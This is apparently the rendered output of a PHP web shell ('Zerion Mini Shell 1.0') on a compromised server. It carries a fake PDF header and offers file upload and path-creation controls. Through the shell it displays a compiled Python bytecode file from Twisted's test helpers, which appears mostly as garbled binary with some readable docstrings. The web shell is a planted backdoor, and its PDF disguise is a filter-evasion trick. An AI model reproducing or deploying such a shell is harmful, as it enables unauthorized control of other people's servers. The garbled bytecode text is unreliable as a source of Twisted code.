%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/test/__pycache__/modules_helpers.cpython-312.pyc

�

Ϫ�f��P�dZddlZddlmZddlmZmZmZddlm	Z	Gd�d�Z
y)z\
Facilities for helping test code which interacts with Python's module system
to load code.
�N)�
ModuleType)�Iterable�List�Tuple)�FilePathc�^�eZdZdZdeeddfd�Zdeeee	fddfd�Z
d
dedeefd	�Zy)�TwistedModulesMixinz�
    A mixin for C{twisted.trial.unittest.SynchronousTestCase} providing useful
    methods for manipulating Python's module system.
    �sysPath�returnNc���tjdd�d�fd�}|j|�|tjddy)zW
        Replace sys.path, for the duration of the test, with the given value.
        Nc�,���tjddy�N)�sys�path)�originalSysPaths��E/usr/lib/python3/dist-packages/twisted/python/test/modules_helpers.py�cleanUpSysPathz:TwistedModulesMixin.replaceSysPath.<locals>.cleanUpSysPaths���)�C�H�H�Q�K��rN)rr�
addCleanup)�selfr
rrs   @r�replaceSysPathz"TwistedModulesMixin.replaceSysPaths2����(�(�1�+��	*�	
����'������r�
sysModulesc����tjj��d�fd�}|j|�tjj	�tjj|�y)zZ
        Replace sys.modules, for the duration of the test, with the given value.
        Nc���tjj�tjj��yr)r�modules�clear�update)�originalSysModuless�r�cleanUpSysModulesz@TwistedModulesMixin.replaceSysModules.<locals>.cleanUpSysModules(s&����K�K�����K�K���1�2rr)rr�copyrrr)rrr rs   @r�replaceSysModulesz%TwistedModulesMixin.replaceSysModules"sN���!�[�[�-�-�/��	3�	
���)�*������������:�&r�pkgnamec��t|j��}|jd�}|j�|jd�j	d�|S)z�
        Generate a L{FilePath} with one package, named C{pkgname}, on it, and
        return the L{FilePath} of the path entry.
        �test_packagez__init__.pyr)r�mktemp�child�makedirs�
setContent)rr#�entry�pkgs    r�pathEntryWithOnePackagez+TwistedModulesMixin.pathEntryWithOnePackage0sG��
�����'���k�k�.�)�������	�	�-� �+�+�C�0��r)r%)
�__name__�
__module__�__qualname__�__doc__r�strrrrrr"rr,�rrr	r	sX���

�d�3�i�
�D�
�'�H�U�3�
�?�5K�,L�'�QU�'�	�s�	��QT�
�	rr	)r0r�typesr�typingrrr�twisted.python.filepathrr	r2rr�<module>r6s%���
��(�(�,�)�)r

Zerion Mini Shell 1.0